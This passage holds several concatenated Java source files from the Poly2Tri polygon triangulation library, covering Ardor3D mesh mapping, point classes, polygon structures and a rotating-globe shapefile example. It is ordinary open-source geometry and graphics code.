final float vy = (float)scale*v.getYf();
final float vCu = (vx*uy-vy*ux);
final boolean doX = Math.abs( ux ) > Math.abs( uy );
tcBuf = prepareTextureCoordinateBuffer(mesh,0,2*3*triangles.size());
tcBuf.rewind();
for( DelaunayTriangle t : triangles )
{
for( int i=0; i<3; i++ )
{
x = t.points[i].getXf()-ox;
y = t.points[i].getYf()-oy;
// Calculate the texture coordinate in the UV plane
a = (uy*x - ux*y)/vCu;
if( doX )
{
b = (x - a*vx)/ux;
}
else
{
b = (y - a*vy)/uy;
}
tcBuf.put( a );
tcBuf.put( b );
}
}
}
// FloatBuffer vBuf,tcBuf;
// float width,maxX,minX,maxY,minY,x,y,xn,yn;
//
// maxX = Float.NEGATIVE_INFINITY;
// minX = Float.POSITIVE_INFINITY;
// maxY = Float.NEGATIVE_INFINITY;
// minY = Float.POSITIVE_INFINITY;
//
// vBuf = mesh.getMeshData().getVertexBuffer();
// for( int i=0; i < vBuf.limit()-1; i+=3 )
// {
// x = vBuf.get(i);
// y = vBuf.get(i+1);
//
// maxX = x > maxX ? x : maxX;
// minX = x < minX ? x : minX;
// maxY = y > maxY ? y : maxY;
// minY = y < minY ? x : minY;
// }
//
// width = maxX-minX > maxY-minY ? maxX-minX : maxY-minY;
// width *= scale;
//
// vBuf = mesh.getMeshData().getVertexBuffer();
// tcBuf = prepareTextureCoordinateBuffer(mesh,0,2*vBuf.limit()/3);
// tcBuf.rewind();
//
// for( int i=0; i < vBuf.limit()-1; i+=3 )
// {
// x = vBuf.get(i)-(maxX-minX)/2;
// y = vBuf.get(i+1)-(maxY-minY)/2;
// xn = (float)(x*Math.cos(angle)-y*Math.sin(angle));
// yn = (float)(y*Math.cos(angle)+x*Math.sin(angle));
// tcBuf.put( xn/width );
// tcBuf.put( yn/width );
// }
public static void updateTriangleMesh( Mesh mesh, PointSet ps, CoordinateTransform pc )
{
updateTriangleMesh( mesh, ps.getTriangles(), pc );
}
/**
* Will populate a given Mesh's vertex,index buffer and set IndexMode.Triangles<br>
* Will also increase buffer sizes if needed by creating new buffers.
*
* @param mesh
* @param ps
*/
public static void updateTriangleMesh( Mesh mesh, PointSet ps )
{
updateTriangleMesh( mesh, ps.getTriangles() );
}
public static void updateTriangleMesh( Mesh mesh, Polygon p )
{
updateTriangleMesh( mesh, p.getTriangles() );
}
public static void updateTriangleMesh( Mesh mesh, Polygon p, CoordinateTransform pc )
{
updateTriangleMesh( mesh, p.getTriangles(), pc );
}
public static void updateVertexBuffer( Mesh mesh, List<? extends Point> list )
{
FloatBuffer vertBuf;
int size = 3*list.size();
prepareVertexBuffer( mesh, size );
if( size == 0 )
{
return;
}
vertBuf = mesh.getMeshData().getVertexBuffer();
vertBuf.rewind();
for( Point p : list )
{
vertBuf.put(p.getXf()).put(p.getYf()).put(p.getZf());
}
}
public static void updateIndexBuffer( Mesh mesh, int[] index )
{
IntBuffer indexBuf;
if( index == null || index.length == 0 )
{
return;
}
int size = index.length;
prepareIndexBuffer( mesh, size );
indexBuf = mesh.getMeshData().getIndexBuffer();
indexBuf.rewind();
for( int i=0; i<size; i+=2 )
{
indexBuf.put(index[i]).put( index[i+1] );
}
}
private static void prepareVertexBuffer( Mesh mesh, int size )
{
FloatBuffer vertBuf;
vertBuf = mesh.getMeshData().getVertexBuffer();
if( vertBuf == null || vertBuf.capacity() < size )
{
vertBuf = BufferUtils.createFloatBuffer( size );
mesh.getMeshData().setVertexBuffer( vertBuf );
}
else
{
vertBuf.limit( size );
mesh.getMeshData().updateVertexCount();
}
}
private static void prepareNormalBuffer( Mesh mesh, int size )
{
FloatBuffer nBuf;
nBuf = mesh.getMeshData().getNormalBuffer();
if( nBuf == null || nBuf.capacity() < size )
{
nBuf = BufferUtils.createFloatBuffer( size );
mesh.getMeshData().setNormalBuffer( nBuf );
}
else
{
nBuf.limit( size );
}
}
private static void prepareIndexBuffer( Mesh mesh, int size)
{
IntBuffer indexBuf = mesh.getMeshData().getIndexBuffer();
if( indexBuf == null || indexBuf.capacity() < size )
{
indexBuf = BufferUtils.createIntBuffer( size );
mesh.getMeshData().setIndexBuffer( indexBuf );
}
else
{
indexBuf.limit( size );
}
}
private static FloatBuffer prepareTextureCoordinateBuffer( Mesh mesh, int index, int size )
{
FloatBuffer tcBuf;
tcBuf = mesh.getMeshData().getTextureBuffer( index );
if( tcBuf == null || tcBuf.capacity() < size )
{
tcBuf = BufferUtils.createFloatBuffer( size );
mesh.getMeshData().setTextureBuffer( tcBuf, index );
}
else
{
tcBuf.limit( size );
}
return tcBuf;
}
}
| Java |
package org.poly2tri.triangulation.point.ardor3d;
import java.util.ArrayList;
import java.util.List;
import org.poly2tri.triangulation.TriangulationPoint;
import com.ardor3d.math.Vector3;
public class ArdorVector3Point extends TriangulationPoint
{
private final Vector3 _p;
public ArdorVector3Point( Vector3 point )
{
_p = point;
}
public final double getX()
{
return _p.getX();
}
public final double getY()
{
return _p.getY();
}
public final double getZ()
{
return _p.getZ();
}
public final float getXf()
{
return _p.getXf();
}
public final float getYf()
{
return _p.getYf();
}
public final float getZf()
{
return _p.getZf();
}
@Override
public void set( double x, double y, double z )
{
_p.set( x, y, z );
}
public static List<TriangulationPoint> toPoints( Vector3[] vpoints )
{
ArrayList<TriangulationPoint> points = new ArrayList<TriangulationPoint>(vpoints.length);
for( int i=0; i<vpoints.length; i++ )
{
points.add( new ArdorVector3Point(vpoints[i]) );
}
return points;
}
public static List<TriangulationPoint> toPoints( ArrayList<Vector3> vpoints )
{
int i=0;
ArrayList<TriangulationPoint> points = new ArrayList<TriangulationPoint>(vpoints.size());
for( Vector3 point : vpoints )
{
points.add( new ArdorVector3Point(point) );
}
return points;
}
public static List<TriangulationPoint> toPolygonPoints( Vector3[] vpoints )
{
ArrayList<TriangulationPoint> points = new ArrayList<TriangulationPoint>(vpoints.length);
for( int i=0; i<vpoints.length; i++ )
{
points.add( new ArdorVector3PolygonPoint(vpoints[i]) );
}
return points;
}
public static List<TriangulationPoint> toPolygonPoints( ArrayList<Vector3> vpoints )
{
int i=0;
ArrayList<TriangulationPoint> points = new ArrayList<TriangulationPoint>(vpoints.size());
for( Vector3 point : vpoints )
{
points.add( new ArdorVector3PolygonPoint(point) );
}
return points;
}
}
| Java |
package org.poly2tri.triangulation.point.ardor3d;
import java.util.ArrayList;
import java.util.List;
import org.poly2tri.geometry.polygon.PolygonPoint;
import org.poly2tri.triangulation.TriangulationPoint;
import com.ardor3d.math.Vector3;
public class ArdorVector3PolygonPoint extends PolygonPoint
{
private final Vector3 _p;
public ArdorVector3PolygonPoint( Vector3 point )
{
super( point.getX(), point.getY() );
_p = point;
}
public final double getX()
{
return _p.getX();
}
public final double getY()
{
return _p.getY();
}
public final double getZ()
{
return _p.getZ();
}
public final float getXf()
{
return _p.getXf();
}
public final float getYf()
{
return _p.getYf();
}
public final float getZf()
{
return _p.getZf();
}
public static List<PolygonPoint> toPoints( Vector3[] vpoints )
{
ArrayList<PolygonPoint> points = new ArrayList<PolygonPoint>(vpoints.length);
for( int i=0; i<vpoints.length; i++ )
{
points.add( new ArdorVector3PolygonPoint(vpoints[i]) );
}
return points;
}
public static List<PolygonPoint> toPoints( ArrayList<Vector3> vpoints )
{
int i=0;
ArrayList<PolygonPoint> points = new ArrayList<PolygonPoint>(vpoints.size());
for( Vector3 point : vpoints )
{
points.add( new ArdorVector3PolygonPoint(point) );
}
return points;
}
}
| Java |
package org.poly2tri.examples.geotools;
import java.io.IOException;
import java.net.URISyntaxException;
import java.net.URL;
import java.util.ArrayList;
import org.geotools.data.FeatureSource;
import org.geotools.data.shapefile.ShapefileDataStore;
import org.geotools.feature.FeatureCollection;
import org.geotools.feature.FeatureIterator;
import org.opengis.feature.Feature;
import org.opengis.feature.GeometryAttribute;
import org.poly2tri.Poly2Tri;
import org.poly2tri.examples.ardor3d.base.P2TSimpleExampleBase;
import org.poly2tri.geometry.polygon.Polygon;
import org.poly2tri.geometry.polygon.PolygonPoint;
import org.poly2tri.geometry.polygon.PolygonSet;
import org.poly2tri.transform.coordinate.CoordinateTransform;
import org.poly2tri.triangulation.tools.ardor3d.ArdorMeshMapper;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.ardor3d.example.ExampleBase;
import com.ardor3d.framework.Canvas;
import com.ardor3d.framework.FrameHandler;
import com.ardor3d.image.Image;
import com.ardor3d.image.Texture;
import com.ardor3d.image.Texture.WrapMode;
import com.ardor3d.input.MouseButton;
import com.ardor3d.input.logical.InputTrigger;
import com.ardor3d.input.logical.LogicalLayer;
import com.ardor3d.input.logical.MouseButtonClickedCondition;
import com.ardor3d.input.logical.TriggerAction;
import com.ardor3d.input.logical.TwoInputStates;
import com.ardor3d.math.ColorRGBA;
import com.ardor3d.math.MathUtils;
import com.ardor3d.math.Matrix3;
import com.ardor3d.math.Vector3;
import com.ardor3d.renderer.queue.RenderBucketType;
import com.ardor3d.renderer.state.BlendState;
import com.ardor3d.renderer.state.MaterialState;
import com.ardor3d.renderer.state.WireframeState;
import com.ardor3d.renderer.state.ZBufferState;
import com.ardor3d.renderer.state.BlendState.BlendEquation;
import com.ardor3d.scenegraph.FloatBufferData;
import com.ardor3d.scenegraph.Mesh;
import com.ardor3d.scenegraph.Node;
import com.ardor3d.scenegraph.extension.Skybox;
import com.ardor3d.scenegraph.extension.Skybox.Face;
import com.ardor3d.scenegraph.hint.LightCombineMode;
import com.ardor3d.scenegraph.shape.Sphere;
import com.ardor3d.util.ReadOnlyTimer;
import com.ardor3d.util.TextureManager;
import com.ardor3d.util.resource.ResourceLocatorTool;
import com.ardor3d.util.resource.SimpleResourceLocator;
import com.google.inject.Inject;
import com.vividsolutions.jts.geom.Coordinate;
import com.vividsolutions.jts.geom.LinearRing;
import com.vividsolutions.jts.geom.MultiLineString;
import com.vividsolutions.jts.geom.MultiPolygon;
/**
* Hello world!
*
*/
public class WorldExample extends P2TSimpleExampleBase
{
private final static Logger logger = LoggerFactory.getLogger( WorldExample.class );
private final static CoordinateTransform _wgs84 = new WGS84GeodeticTransform(100);
private Node _worldNode;
private Skybox _skybox;
private final Matrix3 rotate = new Matrix3();
private double angle = 0;
private boolean _doRotate = true;
/**
* We use one PolygonSet for each country since countries can have islands
* and be composed of multiple polygons
*/
private ArrayList<PolygonSet> _countries = new ArrayList<PolygonSet>();
@Inject
public WorldExample( LogicalLayer logicalLayer, FrameHandler frameHandler )
{
super( logicalLayer, frameHandler );
}
public static void main( String[] args )
throws Exception
{
try
{
start(WorldExample.class);
}
catch( RuntimeException e )
{
logger.error( "WorldExample failed due to a runtime exception" );
}
}
@Override
protected void updateExample( ReadOnlyTimer timer )
{
if( _doRotate )
{
angle += timer.getTimePerFrame() * 10;
angle %= 360;
rotate.fromAngleNormalAxis(angle * MathUtils.DEG_TO_RAD, Vector3.UNIT_Z);
_worldNode.setRotation(rotate);
}
}
@Override
protected void initExample()
{
super.initExample();
try
{
importShape(100);
}
catch( IOException e )
{
}
_canvas.getCanvasRenderer().getCamera().setLocation(200, 200, 200);
_canvas.getCanvasRenderer().getCamera().lookAt( 0, 0, 0, Vector3.UNIT_Z );
_worldNode = new Node("shape");
// _worldNode.setRenderState( new WireframeState() );
_node.attachChild( _worldNode );
buildSkyBox();
Sphere seas = new Sphere("seas", Vector3.ZERO, 64, 64, 100.2f);
seas.setDefaultColor( new ColorRGBA(0,0,0.5f,0.25f) );
seas.getSceneHints().setRenderBucketType( RenderBucketType.Transparent );
BlendState bs = new BlendState();
bs.setBlendEnabled( true );
bs.setEnabled( true );
bs.setBlendEquationAlpha( BlendEquation.Max );
bs.setSourceFunction(BlendState.SourceFunction.SourceAlpha);
bs.setDestinationFunction(BlendState.DestinationFunction.OneMinusSourceAlpha);
seas.setRenderState( bs );
ZBufferState zb = new ZBufferState();
zb.setEnabled( true );
zb.setWritable( false );
seas.setRenderState( zb );
_worldNode.attachChild( seas );
Sphere core = new Sphere("seas", Vector3.ZERO, 16, 16, 10f);
core.getSceneHints().setLightCombineMode( LightCombineMode.Replace );
MaterialState ms = new MaterialState();
ms.setEmissive( new ColorRGBA(0.8f,0.2f,0,0.9f) );
core.setRenderState( ms );
_worldNode.attachChild( core );
Mesh mesh;
for( PolygonSet ps : _countries )
{
Poly2Tri.triangulate( ps );
float value = 1-0.9f*(float)Math.random();
for( Polygon p : ps.getPolygons() )
{
mesh = new Mesh();
mesh.setDefaultColor( new ColorRGBA( value, value, value, 1.0f ) );
_worldNode.attachChild( mesh );
ArdorMeshMapper.updateTriangleMesh( mesh, p, _wgs84 );
}
}
}
protected void importShape( double rescale )
throws IOException
{
// URL url = WorldExample.class.getResource( "/z5UKI.shp" );
URL url = WorldExample.class.getResource( "/earth/countries.shp" );
url.getFile();
ShapefileDataStore ds = new ShapefileDataStore(url);
FeatureSource featureSource = ds.getFeatureSource();
// for( int i=0; i < ds.getTypeNames().length; i++)
// {
// System.out.println("ShapefileDataStore.typename=" + ds.getTypeNames()[i] );
// }
FeatureCollection fc = featureSource.getFeatures();
// System.out.println( "featureCollection.ID=" + fc.getID() );
// System.out.println( "featureCollection.schema=" + fc.getSchema() );
// System.out.println( "featureCollection.Bounds[minX,maxX,minY,maxY]=["
// + fc.getBounds().getMinX() + "," +
// + fc.getBounds().getMaxX() + "," +
// + fc.getBounds().getMinY() + "," +
// + fc.getBounds().getMaxY() + "]" );
// double width, height, xScale, yScale, scale, dX, dY;
// width = fc.getBounds().getMaxX() - fc.getBounds().getMinX();
// height = fc.getBounds().getMaxY() - fc.getBounds().getMinY();
// dX = fc.getBounds().getMinX() + width/2;
// dY = fc.getBounds().getMinY() + height/2;
// xScale = rescale * 1f / width;
// yScale = rescale * 1f / height;
// scale = xScale < yScale ? xScale : yScale;
FeatureIterator fi;
Feature f;
GeometryAttribute geoAttrib;
Polygon polygon;
PolygonSet polygonSet;
fi = fc.features();
while( fi.hasNext() )
{
polygonSet = new PolygonSet();
f = fi.next();
geoAttrib = f.getDefaultGeometryProperty();
// System.out.println( "Feature.Identifier:" + f.getIdentifier() );
// System.out.println( "Feature.Name:" + f.getName() );
// System.out.println( "Feature.Type:" + f.getType() );
// System.out.println( "Feature.Descriptor:" + geoAttrib.getDescriptor() );
// System.out.println( "GeoAttrib.Identifier=" + geoAttrib.getIdentifier() );
// System.out.println( "GeoAttrib.Name=" + geoAttrib.getName() );
// System.out.println( "GeoAttrib.Type.Name=" + geoAttrib.getType().getName() );
// System.out.println( "GeoAttrib.Type.Binding=" + geoAttrib.getType().getBinding() );
// System.out.println( "GeoAttrib.Value=" + geoAttrib.getValue() );
if( geoAttrib.getType().getBinding() == MultiLineString.class )
{
MultiLineString mls = (MultiLineString)geoAttrib.getValue();
Coordinate[] coords = mls.getCoordinates();
// System.out.println( "MultiLineString.coordinates=" + coords.length );
ArrayList<PolygonPoint> points = new ArrayList<PolygonPoint>(coords.length);
for( int i=0; i<coords.length; i++)
{
points.add( new PolygonPoint(coords[i].x,coords[i].y) );
// System.out.println( "[x,y]=[" + coords[i].x + "," + coords[i].y + "]" );
}
polygonSet.add( new Polygon(points) );
}
else if( geoAttrib.getType().getBinding() == MultiPolygon.class )
{
MultiPolygon mp = (MultiPolygon)geoAttrib.getValue();
// System.out.println( "MultiPolygon.NumGeometries=" + mp.getNumGeometries() );
for( int i=0; i<mp.getNumGeometries(); i++ )
{
com.vividsolutions.jts.geom.Polygon jtsPolygon = (com.vividsolutions.jts.geom.Polygon)mp.getGeometryN(i);
polygon = buildPolygon( jtsPolygon );
polygonSet.add( polygon );
}
}
_countries.add( polygonSet );
}
}
private static Polygon buildPolygon( com.vividsolutions.jts.geom.Polygon jtsPolygon )
{
Polygon polygon;
LinearRing shell;
ArrayList<PolygonPoint> points;
// Envelope envelope;
// System.out.println( "MultiPolygon.points=" + jtsPolygon.getNumPoints() );
// System.out.println( "MultiPolygon.NumInteriorRing=" + jtsPolygon.getNumInteriorRing() );
// envelope = jtsPolygon.getEnvelopeInternal();
shell = (LinearRing)jtsPolygon.getExteriorRing();
Coordinate[] coords = shell.getCoordinates();
points = new ArrayList<PolygonPoint>(coords.length);
// Skipping last coordinate since JTD defines a shell as a LineString that start with
// same first and last coordinate
for( int j=0; j<coords.length-1; j++)
{
points.add( new PolygonPoint(coords[j].x,coords[j].y) );
}
polygon = new Polygon(points);
return polygon;
}
//
// private void refinePolygon()
// {
//
// }
/**
* Builds the sky box.
*/
private void buildSkyBox()
{
_skybox = new Skybox("skybox", 300, 300, 300);
try {
SimpleResourceLocator sr2 = new SimpleResourceLocator(ExampleBase.class.getClassLoader().getResource("org/poly2tri/examples/geotools/textures/"));
ResourceLocatorTool.addResourceLocator(ResourceLocatorTool.TYPE_TEXTURE, sr2);
} catch (final URISyntaxException ex) {
ex.printStackTrace();
}
final String dir = "";
final Texture stars = TextureManager.load(dir + "stars.gif",
Texture.MinificationFilter.Trilinear,
Image.Format.GuessNoCompression, true);
_skybox.setTexture(Skybox.Face.North, stars);
_skybox.setTexture(Skybox.Face.West, stars);
_skybox.setTexture(Skybox.Face.South, stars);
_skybox.setTexture(Skybox.Face.East, stars);
_skybox.setTexture(Skybox.Face.Up, stars);
_skybox.setTexture(Skybox.Face.Down, stars);
_skybox.getTexture( Skybox.Face.North ).setWrap( WrapMode.Repeat );
for( Face f : Face.values() )
{
FloatBufferData fbd = _skybox.getFace(f).getMeshData().getTextureCoords().get( 0 );
fbd.getBuffer().clear();
fbd.getBuffer().put( 0 ).put( 4 );
fbd.getBuffer().put( 0 ).put( 0 );
fbd.getBuffer().put( 4 ).put( 0 );
fbd.getBuffer().put( 4 ).put( 4 );
}
_node.attachChild( _skybox );
}
@Override
public void registerInputTriggers()
{
super.registerInputTriggers();
// SPACE - toggle models
_logicalLayer.registerTrigger( new InputTrigger( new MouseButtonClickedCondition(MouseButton.RIGHT), new TriggerAction() {
public void perform( final Canvas canvas, final TwoInputStates inputState, final double tpf )
{
_doRotate = _doRotate ? false : true;
}
} ) );
}
/*
* http://en.wikipedia.org/wiki/Longitude#Degree_length
* http://www.colorado.edu/geography/gcraft/notes/datum/gif/llhxyz.gif
*
* x (in m) = Latitude * 60 * 1852
* y (in m) = (PI/180) * cos(Longitude) * (637813.7^2 / sqrt( (637813.7 * cos(Longitude))^2 + (635675.23 * sin(Longitude))^2 ) )
* z (in m) = Altitude
*
* The 'quick and dirty' method (assuming the Earth is a perfect sphere):
*
* x = longitude*60*1852*cos(latitude)
* y = latitude*60*1852
*
* Latitude and longitude must be in decimal degrees, x and y are in meters.
* The origin of the xy-grid is the intersection of the 0-degree meridian
* and the equator, where x is positive East and y is positive North.
*
* So, why the 1852? I'm using the (original) definition of a nautical mile
* here: 1 nautical mile = the length of one arcminute on the equator (hence
* the 60*1852; I'm converting the lat/lon degrees to lat/lon minutes).
*/
}
| Java |
/* Poly2Tri
* Copyright (c) 2009-2010, Poly2Tri Contributors
* http://code.google.com/p/poly2tri/
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* * Neither the name of Poly2Tri nor the names of its contributors may be
* used to endorse or promote products derived from this software without specific
* prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package org.poly2tri.geometry.polygon;
import java.util.ArrayList;
import java.util.List;
public class PolygonSet
{
protected ArrayList<Polygon> _polygons = new ArrayList<Polygon>();
public PolygonSet()
{
}
public PolygonSet( Polygon poly )
{
_polygons.add( poly );
}
public void add( Polygon p )
{
_polygons.add( p );
}
public List<Polygon> getPolygons()
{
return _polygons;
}
}
| Java |
package org.poly2tri.geometry.polygon;
public class PolygonUtil
{
/**
* TODO
* @param polygon
*/
public static void validate( Polygon polygon )
{
// TODO: implement
// 1. Check for duplicate points
// 2. Check for intersecting sides
}
}
| Java |
package org.poly2tri.geometry.polygon;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import org.poly2tri.triangulation.Triangulatable;
import org.poly2tri.triangulation.TriangulationContext;
import org.poly2tri.triangulation.TriangulationMode;
import org.poly2tri.triangulation.TriangulationPoint;
import org.poly2tri.triangulation.delaunay.DelaunayTriangle;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class Polygon implements Triangulatable
{
private final static Logger logger = LoggerFactory.getLogger( Polygon.class );
protected ArrayList<TriangulationPoint> _points = new ArrayList<TriangulationPoint>();
protected ArrayList<TriangulationPoint> _steinerPoints;
protected ArrayList<Polygon> _holes;
protected List<DelaunayTriangle> m_triangles;
protected PolygonPoint _last;
/**
* To create a polygon we need atleast 3 separate points
*
* @param p1
* @param p2
* @param p3
*/
public Polygon( PolygonPoint p1, PolygonPoint p2, PolygonPoint p3 )
{
p1._next = p2;
p2._next = p3;
p3._next = p1;
p1._previous = p3;
p2._previous = p1;
p3._previous = p2;
_points.add( p1 );
_points.add( p2 );
_points.add( p3 );
}
/**
* Requires atleast 3 points
* @param points - ordered list of points forming the polygon.
* No duplicates are allowed
*/
public Polygon( List<PolygonPoint> points )
{
// Lets do one sanity check that first and last point hasn't got same position
// Its something that often happen when importing polygon data from other formats
if( points.get(0).equals( points.get(points.size()-1) ) )
{
logger.warn( "Removed duplicate point");
points.remove( points.size()-1 );
}
_points.addAll( points );
}
/**
* Requires atleast 3 points
*
* @param points
*/
public Polygon( PolygonPoint[] points )
{
this( Arrays.asList( points ) );
}
public TriangulationMode getTriangulationMode()
{
return TriangulationMode.POLYGON;
}
public int pointCount()
{
int count = _points.size();
if( _steinerPoints != null )
{
count += _steinerPoints.size();
}
return count;
}
public void addSteinerPoint( TriangulationPoint point )
{
if( _steinerPoints == null )
{
_steinerPoints = new ArrayList<TriangulationPoint>();
}
_steinerPoints.add( point );
}
public void addSteinerPoints( List<TriangulationPoint> points )
{
if( _steinerPoints == null )
{
_steinerPoints = new ArrayList<TriangulationPoint>();
}
_steinerPoints.addAll( points );
}
public void clearSteinerPoints()
{
if( _steinerPoints != null )
{
_steinerPoints.clear();
}
}
/**
* Assumes: that given polygon is fully inside the current polygon
* @param poly - a subtraction polygon
*/
public void addHole( Polygon poly )
{
if( _holes == null )
{
_holes = new ArrayList<Polygon>();
}
_holes.add( poly );
// XXX: tests could be made here to be sure it is fully inside
// addSubtraction( poly.getPoints() );
}
/**
* Will insert a point in the polygon after given point
*
* @param a
* @param b
* @param p
*/
public void insertPointAfter( PolygonPoint a, PolygonPoint newPoint )
{
// Validate that
int index = _points.indexOf( a );
if( index != -1 )
{
newPoint.setNext( a.getNext() );
newPoint.setPrevious( a );
a.getNext().setPrevious( newPoint );
a.setNext( newPoint );
_points.add( index+1, newPoint );
}
else
{
throw new RuntimeException( "Tried to insert a point into a Polygon after a point not belonging to the Polygon" );
}
}
public void addPoints( List<PolygonPoint> list )
{
PolygonPoint first;
for( PolygonPoint p : list )
{
p.setPrevious( _last );
if( _last != null )
{
p.setNext( _last.getNext() );
_last.setNext( p );
}
_last = p;
_points.add( p );
}
first = (PolygonPoint)_points.get(0);
_last.setNext( first );
first.setPrevious( _last );
}
/**
* Will add a point after the last point added
*
* @param p
*/
public void addPoint(PolygonPoint p )
{
p.setPrevious( _last );
p.setNext( _last.getNext() );
_last.setNext( p );
_points.add( p );
}
public void removePoint( PolygonPoint p )
{
PolygonPoint next, prev;
next = p.getNext();
prev = p.getPrevious();
prev.setNext( next );
next.setPrevious( prev );
_points.remove( p );
}
public PolygonPoint getPoint()
{
return _last;
}
public List<TriangulationPoint> getPoints()
{
return _points;
}
public List<DelaunayTriangle> getTriangles()
{
return m_triangles;
}
public void addTriangle( DelaunayTriangle t )
{
m_triangles.add( t );
}
public void addTriangles( List<DelaunayTriangle> list )
{
m_triangles.addAll( list );
}
public void clearTriangulation()
{
if( m_triangles != null )
{
m_triangles.clear();
}
}
/**
* Creates constraints and populates the context with points
*/
public void prepareTriangulation( TriangulationContext<?> tcx )
{
if( m_triangles == null )
{
m_triangles = new ArrayList<DelaunayTriangle>( _points.size() );
}
else
{
m_triangles.clear();
}
// Outer constraints
for( int i = 0; i < _points.size()-1 ; i++ )
{
tcx.newConstraint( _points.get( i ), _points.get( i+1 ) );
}
tcx.newConstraint( _points.get( 0 ), _points.get( _points.size()-1 ) );
tcx.addPoints( _points );
// Hole constraints
if( _holes != null )
{
for( Polygon p : _holes )
{
for( int i = 0; i < p._points.size()-1 ; i++ )
{
tcx.newConstraint( p._points.get( i ), p._points.get( i+1 ) );
}
tcx.newConstraint( p._points.get( 0 ), p._points.get( p._points.size()-1 ) );
tcx.addPoints( p._points );
}
}
if( _steinerPoints != null )
{
tcx.addPoints( _steinerPoints );
}
}
}
| Java |
package org.poly2tri.geometry.polygon;
import org.poly2tri.triangulation.point.TPoint;
public class PolygonPoint extends TPoint
{
protected PolygonPoint _next;
protected PolygonPoint _previous;
public PolygonPoint( double x, double y )
{
super( x, y );
}
public PolygonPoint( double x, double y, double z )
{
super( x, y, z );
}
public void setPrevious( PolygonPoint p )
{
_previous = p;
}
public void setNext( PolygonPoint p )
{
_next = p;
}
public PolygonPoint getNext()
{
return _next;
}
public PolygonPoint getPrevious()
{
return _previous;
}
}
| Java |
package org.poly2tri.geometry.primitives;
public abstract class Edge<A extends Point>
{
protected A p;
protected A q;
public A getP()
{
return p;
}
public A getQ()
{
return q;
}
}
| Java |
package org.poly2tri.geometry.primitives;
public abstract class Point
{
public abstract double getX();
public abstract double getY();
public abstract double getZ();
public abstract float getXf();
public abstract float getYf();
public abstract float getZf();
public abstract void set( double x, double y, double z );
protected static int calculateHashCode( double x, double y, double z)
{
int result = 17;
final long a = Double.doubleToLongBits(x);
result += 31 * result + (int) (a ^ (a >>> 32));
final long b = Double.doubleToLongBits(y);
result += 31 * result + (int) (b ^ (b >>> 32));
final long c = Double.doubleToLongBits(z);
result += 31 * result + (int) (c ^ (c >>> 32));
return result;
}
}
| Java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.